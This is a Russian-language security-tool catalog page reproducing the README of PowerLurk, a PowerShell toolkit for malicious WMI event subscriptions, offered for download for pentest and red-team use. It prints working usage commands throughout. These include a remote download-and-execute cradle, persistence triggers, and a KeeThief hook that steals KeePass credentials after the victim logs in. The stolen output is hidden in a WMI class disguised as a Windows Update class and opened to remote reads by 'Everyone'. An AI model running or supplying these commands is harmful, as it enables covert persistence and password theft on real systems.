Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PowerLurk — Вредоносные события WMI с помощью PowerShell | Kitploit
Инструменты/GitHubGitHub/sw4mpf0x/powerlurk
Повышение привилегийГенерация полезной нагрузкиМеханизмы персистентностиСкриптинг и автоматизацияСбор информацииПост-эксплуатацияТестирование на ПроникновениеRed Teaming
GitHubsw4mpf0x/powerlurk

PowerLurk

Вредоносные события WMI с помощью PowerShell

Репозиторий
3986610 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PowerLurk

PowerLurk — это набор инструментов PowerShell для создания вредоносных подписок на события WMI. Цель — упростить запуск событий WMI во время пентеста или мероприятий Red Team. Более подробную информацию см. в моей статье Creeping on Users with WMI Events: Introducing PowerLurk: https://pentestarmoury.com/2016/07/13/151/

Для использования PowerLurk необходимо импортировать модуль PowerLurk.ps1 в экземпляр PowerShell. Это можно сделать несколькими способами:

Импорт локально

PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1

Загрузка через Cradle

PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"

Get-WmiEvent

По умолчанию Get-WmiEvent запрашивает в WMI все экземпляры __FilterToConsumerBinding и связанные с ними __EventFilter и __EventConsumer. Возвращаемые объекты можно удалить, передав их по конвейеру в Remove-WmiObject.

Вернуть все активные объекты WMI-событий с именем 'RedTeamEvent'

Get-WmiEvent -Name RedTeamEvent

Твиттер - @sw4mp_fox Удалить объекты WMI-событий 'RedTeamEvent'

Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject

Register-MaliciousWmiEvent

Этот командлет является ядром PowerLurk. Он принимает команду, скрипт или блок скрипта в качестве действия и предварительно заданный триггер, затем создаёт WMI-фильтр, потребитель и привязку FilterToConsumerBinding, необходимые для полностью функциональной постоянной подписки на события WMI. Предварительно настроен ряд триггеров (фильтров) событий WMI. Триггер обязательно указывается с помощью параметра -Trigger. Доступны три потребителя: PermanentCommand, PermanentScript и LocalScriptBLock. Пример использования:

Записывает ID процесса notepad.exe в C:\temp\log.txt при каждом запуске notepad.exe

Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe

Очистка вредоносного WMI-события

Get-WmiEvent -Name LogNotepad | Remove-WmiObject

Add-KeeThiefLurker

Создаёт постоянное событие WMI, которое выполнит KeeThief (см. KeeThief от @Harmj0y на https://github.com/adaptivethreat/KeeThief) через 4 минуты после запуска процесса 'keepass'. Это даёт цели время на вход в свою базу данных KeePass.

Логика KeeThief и её результат либо хранятся в пользовательском пространстве имён и классе WMI, либо в значениях реестра. Если выбраны пользовательское пространство имён и класс WMI, вы можете открыть это пространство имён для чтения удалённо с помощью учётной записи 'Everyone'. Имена путей и значений реестра можно настроить с помощью соответствующих ключей; однако это необязательно, так как установлены значения по умолчанию. Пример использования:

Добавить событие KeeThiefLurker, используя хранение в классе WMI

Add-KeeThiefLurker -EventName KeeThief -WMI

Запрос пользовательского класса WMI

Get-WmiObject -Namespace root\software win32_WindowsUpdate -List

Извлечь результат KeeThief из класса WMI

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))

Очистка KeeThiefLurker

Remove-KeeThiefLurker -EventName KeeThief -WMI

Твиттер - @sw4mp_f0x

Скачать инструмент